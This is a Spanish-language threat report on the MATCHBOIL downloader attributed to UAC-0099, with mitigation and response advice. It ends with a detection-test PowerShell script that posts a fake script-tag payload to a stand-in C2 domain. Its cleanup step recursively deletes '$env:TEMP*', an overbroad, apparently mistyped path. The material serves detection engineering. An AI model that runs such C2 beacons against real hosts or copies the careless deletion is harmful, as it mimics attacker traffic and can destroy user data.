La Campaña de Malware MATCHBOIL Introduce Nuevas Técnicas para Ataques Persistentes

Resumen

UAC-0099, un grupo APT alineado con Rusia, ha evolucionado significativamente su descargador MATCHBOIL C# entre 2024 y 2026. El malware se usa para descargar, desplegar y mantener la persistencia de cargas secundarias como el backdoor MATCHWOK. Las variantes más recientes incorporan una ofuscación más fuerte con .NET Reactor, técnicas de evasión de sandbox y métodos de comunicación C2 cada vez más sofisticados.

Investigación

Investigadores de ESET llevaron a cabo un análisis cronológico de las variantes de MATCHBOIL identificadas a través de la telemetría y las presentaciones en VirusTotal. La investigación documentó la progresión del malware desde una ofuscación básica de Unicode hasta la virtualización de código avanzada y la engaño al usuario basado en GUI. Los investigadores también descompilaron componentes C# para examinar consultas WMI, lógica de comunicación HTTPS y técnicas de persistencia.

Mitigación

Las organizaciones deben monitorear la ejecución sospechosa de C# y tareas programadas inesperadas o cambios en el registro dentro de los directorios de perfiles de usuario. La detección de endpoints debe identificar consultas WMI no autorizadas y tráfico HTTPS saliente inusual a dominios previamente no caracterizados. Los equipos de seguridad también deben estar atentos a nombres de archivos maliciosos conocidos y argumentos de línea de comando sospechosos como -auto or -planos.

Respuesta

Cuando se detecte actividad de MATCHBOIL, aísle los hosts afectados para evitar una mayor entrega de cargas y comunicación C2. Realice una investigación forense exhaustiva para determinar el vector de infección inicial, que probablemente es phishing dirigido. Revise las claves de Run en el registro y las tareas programadas para entradas no autorizadas y verifique los sistemas comprometidos en busca de cargas secundarias como MATCHWOK.

Ejecución de Simulación

• Narrativa del Ataque y Comandos: El adversario busca establecer un canal de Control y Comando (C2) para recibir instrucciones y descargar módulos adicionales. Para evadir un bloqueo simple basado en IP, el atacante utiliza un dominio registrado bajo un TLD común (.pro). El atacante simula la técnica «MATCHBOIL» enviando una solicitud HTTPS donde la carga contiene un <script> bloque, imitando la entrega de instrucciones maliciosas codificadas en hexadecimal disfrazadas como contenido web. Esto tiene la intención de activar tanto la condición basada en dominio como la condición basada en carga de la regla de detección.

• Script de Prueba de Regresión:

  # Simulación de Comunicación C2 de MATCHBOIL
  # Este script realiza una solicitud HTTPS a un dominio .pro que contiene una etiqueta de script en la carga/cuerpo.
  
  $targetUrl = "https://test-matchboil-c2.pro/api/v1/update"
  $maliciousPayload = "<script>eval(hex_decode('414243'))</script>"
  
  try {
      Write-Host "[+] Intentando comunicación C2 a $targetUrl" -ForegroundColor Cyan
      Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream"
  }
  catch {
      Write-Host "[!] Solicitud completada (fallo esperado si el dominio no existe, pero la telemetría aún debería capturarse)" -ForegroundColor Yellow
  }

• Comandos de Limpieza:

  # No se hacen cambios persistentes por el script. 
  # Sólo asegure que los archivos temporales locales creados durante las pruebas sean eliminados.
  Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue